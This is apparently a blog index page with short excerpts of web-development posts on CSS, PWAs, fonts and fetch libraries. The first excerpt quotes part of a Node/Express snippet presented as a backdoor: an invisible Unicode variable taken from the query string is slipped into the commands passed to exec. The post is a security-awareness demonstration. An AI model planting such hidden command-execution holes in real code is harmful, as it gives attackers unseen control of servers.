A rather geeky/technical weblog, est. 2001, by Bramus
Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor. const express = require(‘express’); const util = require(‘util’); const exec = util.promisify(require(‘child_process’).exec); const app = express(); app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ ]; try { await Promise.all(checkCommands.map(cmd => …
Patrick Brosset, writing for A List Apart, digging into the Window Controls Overlay for Progressive Web Apps: At the end of the day though, PWAs on desktop are constrained to the window they appear in: a rectangle with a title bar at the top. What if we could think outside this box, and reclaim the …
Fun demo by Emanuel Kluge that processes an image and renders them in a grid of checkboxes. The colouring is done using accent-color. Note that not all browsers support accent-color at the time of writing. Embedded below is a Pen that indicates whether your browser supports it or not. See the Pen CSS accent-color Support …
With n8n everyone can have their own free node-based workflow automation tool. n8n is self-hostable, so the data stays with you. It can be easily extended and so also used with in-house tools and allows to automate complex tasks. Launch it directly from the CLI via npx n8n or run the offered Docker container. If …
Nice tool by Adrian Bece that visualizes what values a Viewport Unit Based Typography (aka Fluid Typography) system will yield. Modern fluid typography editor → This tool is built after the Fluid Calculator, developed by Josh W Comeau for his CSS for JavaScript Developers Course.
I was planning on posting about the HTMHell Advent Calendar here on bram.us, but over at Smashing Magazine you a whole list of interesting Advent Calendars. Once again, the web community has been busy with creating some fantastic advent calendars this year. As you’ll see, each and every one of these calendars are sure to …
Continue reading “Advent Calendars For Web Designers And Developers”
In this brilliant article, Ahmad Shadeed shares a long list of defensive CSS techniques to avoid possible issues Defensive CSS is a collection of snippets that can help you in writing CSS that is protected. In other words, you will have fewer issues in the future. Think of things such as not using fixed values …
Welcome to our library of original guides to the world of typography, which the Google Fonts team is producing in collaboration with typographic experts from around the world. Google Fonts Knowledge enables designers and developers of all skill sets to choose and use type with purpose. Knowing that Eliott Jay Stocks helped work on this, …
ohmyfetch is a better fetch API. Works on node, browser and workers. import { $fetch } from ‘ohmyfetch’ Import it and use it as you’d use regular fetch. On top of that, you can use some of the extra convenience methods and options — such as easy response parsing, JSON body, Auto Retry, … — …
In this episode of HTTP 203, Jake and Surma talk about easing in CSS. You can ease-in, you can ease-out, but CSS doesn’t let you bounce. Jake and Surma chat about a proposal to fix that. After first going down the rabbit hole of creating a (now-abandoned) proposal to define custom easing functions, Jake went …
Continue reading “Bringing Bounce and Elastic easing to CSS”